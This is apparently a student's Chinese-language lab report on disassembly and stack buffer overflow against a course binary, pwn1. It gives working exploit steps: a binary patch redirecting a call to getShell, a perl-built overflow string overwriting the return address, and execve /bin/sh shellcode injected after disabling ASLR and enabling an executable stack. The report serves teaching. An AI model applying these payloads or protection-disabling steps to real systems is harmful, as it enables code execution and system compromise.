20221909 2022-2023-2 《网络攻防实践》实践9作业
一.实验内容
(一)知识点
1.反汇编
(1)反汇编的定义
反汇编(Disassembly):把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。
(2)反汇编的且的
反汇编的目的在于研究和修改程序代码。将二进制代码转换为汇编代码后,我们可以理解程序的操作和逻辑,更容易进行代码分析和修改。
(3)反汇编的工具
常用的反汇编工具有IDA Pro,0llyDbg等。它们可以在不运行程序的情况下分析程序的代码,帮助我们理解程序的逻辑和结构。
(4)反汇编的方法
反汇编可以分为静态反汇编和动态反汇编两种方法。静态反汇编是通过分析二进制文件进行反汇编,而动态反汇编则是基于程序运行时的反汇编。两种方法各有优缺点,需要根据实际情况选择合适的方法。
2.十六进制编辑器
十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。
常规文本编辑器和十六进制编辑器之间的区别在于常规编辑器表示文件的逻辑内容,而十六进制编辑器表示文件的物理内容。十六进制编辑器可以让你以十六进制的形式查看或编辑文件的二进制数据,并用较为友好的界面来编辑二进制数据。对于需要处理二进制数据的用户,它非常受欢迎,例如使用十六进制编辑器可以更改游戏中的部分设置。
常用的十六进制编辑器有 Bless Hex Editor、GNOME Hex Editor、Okteta 等。和大多数编辑器一样,人们对于十六进制编辑器的要求包括功能强大、可定制性、界面美观。
3.缓冲区溢出(bof攻击)
- 缓冲区溢出(Buffer overflow)攻击方法是很久之前就发表出来的技术,但是至今为止仍依然被广泛使用。这其中最大的原因就是目前还有很多程序很容易遭受buffer overflow(BOF)攻击。到目前为止,有许多相关对缓冲区溢出的解决方法的文档,但是大部分文档只针对技术性的方法进行说明,对于其原理和系统构造的说明非常少。但是理解BOF最不能缺少的就是对计算机在运行过程中的关于数据和结构的存储方法、函数调用和返回过程以及函数执行过程底层的准确信息。
- 防范BOF攻击:
- 栈保护技术
栈保护技术是一种常见的防范 BOF攻击的技术。该技术通过在程序中插入一些特殊的代码,来检测程序中的缓冲区溢出情况。当程序检测到缓冲区溢出时,会立即终止程序的执行,从而避免了BOF攻击的发生。 - ASLR技术
ASLR ( Address Space Layout Randomization)技术是一种常见的防范BOF攻击的技术。该技术通过随机化程序的内存布局,来防止攻击者利用程序中的缺陷进行攻击。ASLR技术可以有效地防止BOF攻击,但是也会对程序的性能产生一定的影响。 - NX技术
NX (No eXecute)技术是一种常见的防范 BOF攻击的技术。该技术通过将程序的代码区和数据区进行分离,来防止攻击者将恶意代码注入到程序的缓冲区中。NX技术可以有效地防止 BOF攻击,但是也会对程序的性能产生一定的影响。 - 编写安全的代码
编写安全的代码是防范BOF攻击的最基本的技术措施。在编写程序时,应该遵循安全编码的规范,避免使用不安全的函数和语句,以及避免使用不可信的输入数据。此外,还应该对程序进行定期的安全审计,及时发现和修复程序中的安全漏洞。
- 栈保护技术
防范BOF攻击是一项非常重要的工作。通过采取上述技术措施,可以有效地提高程序的安全性,避免 BOF攻击的发生。同时,我们也应该不断地学习和掌握新的安全技术,以应对不断变化的网络安全威胁。
(二)实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
(三)实践内容
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。
(四)实践要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
二.实践过程
首先更改主机名为姓名pinyin,然后将学习通下载的文件pwn1修改为pwn+学号,即pwn20221909

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
打开kali将pwn1文件解压并用terminal打开,输入objdump -d pwn20221909 | more命令反汇编文件。

在该界面输入/getShell,快速锁定到getShell、foo和main函数。

在main函数第4行调用8048491为foo函数的入口地址,对应指令为:e8 d7 ff ff ff,e8表示指令id,后面四个字面是要跳动的指令id,是补码形式。我们要修改可执行文件使执行call后指向804847d,也就是将call指令的目标地址由d7 ff ff ff变为c3 ff ff ff,即getShell函数入口(0x804847d - 0x080484ba= 0xff ff ff c3)。

用cp pwn20221909 pwn20221909_2对pwn20221909文件进行保护,防止破坏,然后输入vi pwn20221909_2对pwn20221909_2文件进行修改。


上图中的源代码格式修改起来不太容易,按esc键并输入:%!xxd将其变为16进制。

然后:wq 保存退出,查看文件权限ls -l

再次进入pwn20221909_2文件,进行修改。定位d7需要修改的地址偏移量位置,编辑选中d7将其改为c3。

输入:%!xxd -r还原为原格式后,:wq保存退出。
此处验证一下 objdump -d pwn20221909_2 | more 定位过去发现已经成功修改。

运行结果如下

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
输入 objdump -d pwn20221909| more查看pwn20221909文件调用foo函数,函数的功能是调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。仔细分析后发现foo函数存在漏洞:系统仅预留了0x1c字节的缓冲器,超出部分将发生溢出。

安装gdb

输出 gdb pwn20221909对文件pwn20221909进行调试,再输入r运行。然后输入字符串“zzzzzzzzxxxxxxxxrrrrrrrrzzzzzzzzxxxxxxxxrrrrrrrr
”,从下图可以看出显示出现缓冲区溢出错误。

输入info r发现eip中内容覆盖为0x78787878(“x”的ASCLL码的十六进制为78)。继续尝试发现当输入字符串过长时,第33~36个字节将会覆盖EIP的内容。所以只需这四个字符替换为 getShell 的内存地址,输给pwn20221909就会运行getShell。

在第一个实践中,已经知道getShell的内存地址为0804847d,故可以得到要输入的字符串为“zzzzzzzzxxxxxxxxrrrrrrrrzzzzzzzz\x7d\x84\x04\x08”
输入perl -e ‘print “zzzzzzzzxxxxxxxxrrrrrrrrzzzzzzzz\x7d\x84\x04\x08\x0a”’ > 20221909,将其生成十六进制字符串文件20221909文件,作为对pwn20221909文件的输入。再输入xxd 20221909查看文件是否符合预期。

接着输入(cat 20221909; cat) | ./pwn20221909,将20221909的输入,作为pwn20221909的输入。

(3)注入一个自己制作的shellcode并运行这段shellcode。
第一步要准备好一段shellcode,参考其他博客,使用的shellcode如下:
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00
在root模式下输入apt-get install execstack对execstack进行安装。

分别输入execstack -s pwn3_20221909 设置堆栈可执行 ,execstack -q pwn3_20221909 查询文件的堆栈是否可执行。

输入more /proc/sys/kernel/randomize_va_space查看地址随机化的状态是否关闭,输入echo “0”> /proc/sys/kernel/randomize_va_space 关闭地址随机化,再次查询地址随机化的状态为关闭。

使用perl构造十六进制的37个字节的输入串输入perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_shellcode其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,后输入pwn3_20221909并输入(cat input_shellcode;cat) | ./pwn3_20221909运行pwn3_20221909


重新打开一个终端,输入ps -ef | grep pwn3_20221909查看pwn3_20221909的进程号。可以看出进程号为5117。

接着输入gdb,进入gdb调试,输入attach 5117查看pwn3_20221909进程,输入disassemble foo

输入 break *0x080484ae 设置断点,输入 c 继续运行,同时在pwn3_20221909进程正在运行的那个界面点击回车,使其继续执行。

再返回调试界面,输入info r esp命令查找地址,再输入 x/16x 0xffffd18c 可以看到0x01020304的位置在0xffffd18c 。根据我们构造的input_shellcode可知retaddr地址应为0xffffd18c +0x00000004=0xffffd190

构造shellcode:32个A+retaddr+nop+shellcode,输入 perl -e ‘print “A” x 32;print “\x90\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode如图所示。

将其作为pwn3_20221909的输入,输入 (cat input_shellcode;cat) | ./pwn3_20221909并执行程序。

三.学习中遇到的问题及解决
- 问题1:验证时 objdump -d pwn2_20221909 | more,无法识别文件格式

- 问题1解决方案:使用同学的电脑成功,不知道是哪里的配置问题
四.学习感想和体会
通过本次实验,对反汇编加深了印象,这次关于缓冲溢出的相关知识的试验,使我对缓冲溢出的理论和对应的三种攻击方式有了更深刻的理解。之前对缓冲区溢出的了解主要还是停留在理论上,这次实验是在理想的环境下实现的,想要在现实中利用漏洞实现缓冲区溢出攻击,还是有些困难,但也让我意识到了这种漏洞的危险。通过这次实验,让我对Linux系统的使用更加熟悉,对linux的各种命令有了更深入的了解。在实践过程中仍然遇到很多问题,有的还没有解决办法,课下我会继续搜索,争取解决这个问题。

1368




被折叠的 条评论
为什么被折叠?



